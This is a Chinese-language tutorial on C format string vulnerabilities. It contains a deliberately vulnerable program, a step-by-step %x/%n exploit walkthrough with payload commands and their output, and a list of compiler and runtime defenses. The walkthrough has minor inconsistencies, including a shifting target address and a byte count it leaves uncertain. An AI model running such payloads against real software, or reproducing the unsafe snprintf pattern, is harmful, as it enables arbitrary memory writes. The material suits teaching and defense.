| 符號 | 功能 | 攻擊利用點 |
%x | 以十六進位輸出整數 | 洩漏堆疊資料、繞過 ASLR 取得基址 |
%s | 輸出字串 (以位址為參數) | 讀取任意位址字串 (若可控制位址參數) |
%n | 將「至今輸出字元數」寫入對應的 int* 參數指向的位址 | 核心攻擊原語:任意記憶體寫入 |
%數字$ | 直接存取第 N 個參數 (位置參數) | 精準定位堆疊偏移,無需大量 %x 填充 |
%數字d / %數字x | 指定最小寬度 (填充空格/0) | 控制輸出字元數,配合 %n 寫入任意大數值 |
實戰範例:從資訊洩漏到修改變數值
易受攻擊程式 (fmtme.c)
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[100];
int x = 1; // 攻擊目標變數
if (argc != 2) return 1;
snprintf(buf, sizeof buf, argv[1]); // 漏洞點:argv[1] 直接作為 format string
buf[sizeof buf - 1] = '\0';
printf("buffer (%d): %s\n", strlen(buf), buf);
printf("x is %d/%#x (@ %p)\n", x, x, &x);
return 0;
}
階段 1:堆疊佈局偵察
$ ./fmtme "%x %x %x %x"
buffer (15): 1 f31 1031 3133
x is 1/0x1 (@ 0x804745c)
觀察輸出,第 1 個 %x 對應變數 x (值 1),後續為未初始化堆疊資料。取得目標變數 x 位址 0x804745c。
階段 2:控制輸出字元數,準備寫入
$ ./fmtme "aaaa %x %x"
buffer (15): aaaa 1 61616161
x is 1/0x1 (@ 0x804745c)
aaaa (ASCII 0x61) 被複製到 buf 開頭,第 2 個 %x 讀取 buf 前 4 bytes 解讀為整數 0x61616161。證明我們可控制堆疊參數內容。
階段 3:任意寫入 — 修改變數 x 的值
$ perl -e 'system "./fmtme", "\x58\x74\x04\x08%d%n"'
buffer (5): X1
x is 5/0x5 (@ 0x8047458)
原理:
\x58\x74\x04\x08 = 位址 0x08047458 (little-endian),即變數 x 的位址 (注意:實際位址可能因環境不同而異,需動態獲取)。
%d 輸出 x 原值 (1) → 目前輸出字元數 = 5 (X + 1 + 3 位址 bytes? 實際為 5)。
%n 取出下一個堆疊參數 (即我們植入的 0x08047458) 當作 int*,將 5 寫入該位址 → x 變為 5。
進階:寫入大數值 (利用 %n 不受截斷影響特性)
$ perl -e 'system "./fmtme", "\x54\x74\x04\x08%.500d%n"'
# %.500d 輸出寬度 500,雖然 buf 只有 100 bytes 會被截斷,但 %n 計算的是「理論輸出長度」500+4=504
# 成功將 504 寫入目標位址
防禦與緩解措施
- 編碼規範: 絕不將使用者輸入作為格式化字串;靜態分析工具 (Coverity, SonarQube, Clang Static Analyzer) 可自動偵測此類缺陷。
- 編譯器強化: GCC
-Wformat -Wformat-security -Werror=format-security (視為錯誤阻止編譯);MSVC /W4 + /analyze。
- 執行期防護:
FORTIFY_SOURCE=2 (Glibc) 針對 snprintf 等函式加入緩衝區檢查與格式字串驗證;Windows /GS、/sdl、Control Flow Guard (CFG)。
- 最小權限與沙箱: 即使被攻擊,損害限制在沙箱內。
結語
格式化字串漏洞是 C/C++ 程式設計中「看似無害實則致命」的經典缺陷。%n 這個鮮為人知的格式化符號,將「輸出格式化」轉化為「任意記憶體寫入」原語,配合位置參數 (%n$) 與寬度控制,可繞過 ASLR、DEP、Stack Canary 等現代防禦機制。開發者必須建立「格式化字串必須為字面常數」的鐵律,工具鏈與編譯器強化則是最後防線。
copyright ©
萬盛學電腦網 all rights reserved